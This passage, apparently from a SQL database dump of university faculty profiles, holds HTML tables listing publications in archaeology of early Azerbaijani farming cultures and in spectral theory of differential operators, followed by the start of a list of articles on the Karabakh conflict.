Туркменистана</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Ашгабат</p></td><td width=\"60\"><p>2001</p></td><td width=\"66\"><p>стр.17-18</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Köməkçi tarixi fənlər.</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"96\"><p>Tarix Dostiyev</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2001</p></td><td width=\"66\"><p>7,5 ç.v.; 188 səh</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Kitabi “Dədə Qorqud” aşığı</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"96\"><p>Ə.Şmide, S.Əliyarlı</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2001</p></td><td width=\"66\"><p>8,5 ç.v.; 213 səh</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Лженаука на службе политики</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>Г.Исмаилзаде, Т.Достиев</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2002</p></td><td width=\"66\"><p>№1-2 стр.107-113</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Быть&nbsp; востребованной в науке (к 70-летию Г.Ф.Коробковой)</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2003</p></td><td width=\"66\"><p>№1-4,</p><p>c.101-103</p></td><td width=\"42\"><p>&nbsp;</p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Трасологические разработки Г.Ф.Коробковой по материалам Кавказа и изучение раннеземледельческих комплексов Азербайджана.</p></td><td width=\"144\"><p>Петербургская трасологическая школа и изучение древних культур Евразии. В честь юбилея Г.Ф.Коробковой.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Санкт-Петербург</p></td><td width=\"60\"><p>2003</p></td><td width=\"66\"><p>стр.58-65</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>О применении новых методов&nbsp; в исследовании раннеземледельческих культур Азербайджана</p></td><td width=\"144\"><p>Arxeologiya və Etnoqrafiya İnstitunun 10-illiyinə həsr olunmuş elmi konfransın materilları, Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı</p></td><td width=\"60\"><p>2003</p></td><td width=\"66\"><p>стр.26-29</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Tarix elmləri doktoru, professor Qüdrət İsmayılzadənin 70 illiyinə.</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>Tarix Dostiyev</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2004</p></td><td width=\"66\"><p>N-1-4, (səh.13-18</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Орудия труда и проблема выделения домашних производств в раннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p>Археология, этнология, фольклористика Кавказа. Международная научная конференция.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>2005</p></td><td width=\"66\"><p>стр. 44 – 45</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Узерликтепе – поселение с расписной керамикой в Карабахе</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2005</p></td><td width=\"66\"><p>N-1-4, стр.90-93</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Традиции и иноовации в древнеземледельческом комплексе Мингечаура.</p></td><td width=\"144\"><p>Mingəçevir arxeoloji ekspedisiyası- 60.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Mingəçevir</p></td><td width=\"60\"><p>2006</p></td><td width=\"66\"><p>стр. 36-38</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>İdeal Həmid oğlu Nərimanovun əziz xatirəsinə</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2006</p></td><td width=\"66\"><p>N-1-4, (səh. 191-</p><p>92)</p><p>&nbsp;</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Azərbaycan paleolit məktəbinin görkəmli nümayəndəsi.</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2006</p></td><td width=\"66\"><p>N-1-4, (səh. 144-146)</p><p>&nbsp;</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические комплексы земледельческой культуры Азербайджана и их параллели на Ближном Востоке</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2007</p></td><td width=\"66\"><p>N-3-4, (стр. 11-21</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Arxeoloqun salnaməsi (t.e.d. Tarix Dostiyev ilə mühasibə).</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2009</p></td><td width=\"66\"><p>N-2, (səh. 141-145)</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Azərbaycanda erkən əkinçilik mədəniyyətlərin öyrənilməsində yeni metodların tətbiqi</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p><strong>Bakı,</strong></p><p><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p>2009</p></td><td width=\"66\"><p>N-1 (səh. 30-40)</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Домашние производства древнемледельческих обществ Азербайджана.</p></td><td width=\"144\"><p>Международная научная конференция «Древней Джейтун- центр раннего земледелия»</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Ашгабат</p></td><td width=\"60\"><p>2009</p></td><td width=\"66\"><p>&nbsp;</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Obsidian in the productive activity of early farming communities of the southern Caucasus</p></td><td width=\"144\"><p>Von Majkop bis Trialeti. Gewinnunq und Verbreitung von Metaleen und obsidian in Kaukasian im 4- 2. jt.v.Chr.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bonn</p></td><td width=\"60\"><p>2010</p></td><td width=\"66\"><p>pp.39-40</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1228,758,'en','Nigar Aslanova','Nigar Aslanova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"612\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong></strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of one term even order operator equations</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>HashimovI.F.</strong></p></td><td width=\"102\"><p><strong>Materials of XI republic conference on math. And mech. of young scientists, Baku.</strong></p></td><td width=\"60\"><p><strong>1994</strong></p></td><td width=\"66\"><p><strong>3 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of operator Sturm-Liouville equation with singularity on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Az.NIINTI</strong></p></td><td width=\"60\"><p><strong>20.1195</strong></p></td><td width=\"66\"><p><strong>N2305-Az, 29 pp.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials 0f I Rep. conference on math and mech., Baku</strong></p></td><td width=\"60\"><p><strong>1995</strong></p></td><td width=\"66\"><p><strong>II part, pp.63-66</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Weighted trace of Schrödinger equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzIMU, Proceedings, Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>N6, pp.185-186</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of asymptotics of number of eigenvalues and regularized trace of singular differential operator equations</strong></p></td><td width=\"102\"><p><strong>avtoreferat</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Avtoreferat of dissertation,Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>15 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution of singular differential operator on all axis</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transactions of National Academy of Sciences of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>1997</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII,N4-5, pp.15-20</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic behaviour of the distribution function for one singular operator</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII N3-4, pp.3-5</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Regularized trace of operator Sturm-Liouville equation on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Institute of Math . and Mech. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol. IX, pp.23-26</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of special solutions of non-selfadjoint&nbsp; operator on all axis</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.324-325</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for regular Sturm-Liouville operator on finite segment</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.325-326</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Scienmces of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>2000</strong></p></td><td width=\"66\"><p><strong>Vol.XX,N4, pp.30-34</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator on all axis</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Instritute of Math. And Mech., Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>Vol XV, pp.28-36</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Integral generalization of the second order matrix differential equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb.</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol.XXIV, N1, pp.71-78</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Exactness of reconstruction of potential of matrix Sturm-Liouville equation by scattering data known on finite interval</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzTU, Proceedings</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol .III,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N1(9),pp.30-37</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of reconstruction of the Sturm-Liouville operator with matrix coefficients on scattering data</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb, Baku</strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"66\"><p><strong>Vol.XXV, N1, pp.33-42</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XII International conference devoted 70-th anniversary of the corresponding member of NAS of Azerb. B.A.Iskenderov, Baku</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"66\"><p><strong>p.35</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the regularized trace of differential operator with operator coefficient</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb. Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,N1, pp.39-44</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>n-th regularized trace of differential operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>Vol. XXVI,N7, pp.27-32</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the trace of one Sturm-Liouville boundary value probnlem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of Ninth Baku International Congress&lt;&lt;Energy, Ecology, Economy&gt;&gt;</strong></p></td><td width=\"60\"><p><strong>N4,5,pp.21-24</strong></p></td><td width=\"66\"><p><strong>2006,2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of n-th regularized trace of Sturm-Liouville operator with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>thersis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XIII Intern. Conf. on Math. And Mech. Devoted to 70-th anniversary of real member of NAS of Azerb. Prof.A.D.Hajiev, Baku</strong></p></td><td width=\"60\"><p><strong>p.27</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for Strurm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc.of Institute of Math. And Mech. Of NAS of AzerB.,Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for one boundary value problem for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian journal of mathematics,(science citatation index expanded)</strong></p></td><td width=\"60\"><p><strong>November-december, vol.49,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n6,pp.1207-1215</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>On regularized trace of one Sturm_Liouville problem with eigenvalue dependent boundary condotion</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>v.XXVIII,N4,pp.27-36</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic distribution of eigenvalues and regularized trace of boundary value problem for Bessel’s operator equation with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc. Of Inst. Of Math. And Mech. Of NAS of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>v.XXIX,pp.21-42</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of Inter. Conference on math.and mech. Devoted 50-th anniversary of Institute of Math. And Mech.,Baku</strong></p></td><td width=\"60\"><p><strong>p.47</strong></p></td><td width=\"66\"><p><strong>2009</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of one singular problem with parameter contained boundary condition</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>K.M.Aslanov</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.68-70</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville operator</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.101-103</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of spectrum and trace formula for operator Bessel equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian Journal of Mathematics(Science citation expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.5, N4,pp.720-737</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution and trace formula for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Ukranian journal of Mathematics(Science citation index expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.62, N7,pp.867-877</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Identity for eigenvalues for operator Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>AslanovK.M.</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>pp.48-50</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for fourth order diff.operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues and trace formula for one singular problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Analysis of Pure and Applied Mathematics(Zentralblat indexing, Berlin)</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Journal of Mathematics and Statistics(hacettepe University),Science citation index expanded)</strong><strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(560,368,'az','Araz Aslanli','Araz Aslanli','<div><span style=\"font-family:arial, helvetica, sans-serif\"> <div style=\"font-family:\'times new roman\', times, serif;font-size:small\"><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><h3><strong>2015-ci ildə nəşr olunmuş məqalələr:</strong></h3><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı, \"Qarabağ problemi və ATƏT-in Minsk Qrupu\", EkoAvrasya jurnalı, Yanvar 2015-ci il,&nbsp;<a href=\"http://ekoavrasya.net/dergi/dergi-29/sayi29.pdf\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">http://ekoavrasya.net/dergi/dergi-29/sayi29.pdf</a></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı, \"24 aprel: kim uduzdu, kim uddu? - TƏHLİL\", 27 Aprel 2015-ci il,&nbsp;<a href=\"http://az.apa.az/news/381325\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">http://az.apa.az/news/381325</a></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı, \"24 April: Who won? Who lost? - ANALYSIS\",&nbsp;27 Aprel 2015-ci il,&nbsp;<a href=\"http://en.apa.az/xeber_24_april__who_won__who_lost__-__span_sty_226275.html\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">http://en.apa.az/xeber_24_april__who_won__who_lost__-__span_sty_226275.html</a></p><p style=\"font-weight:normal;margin:0px 0px 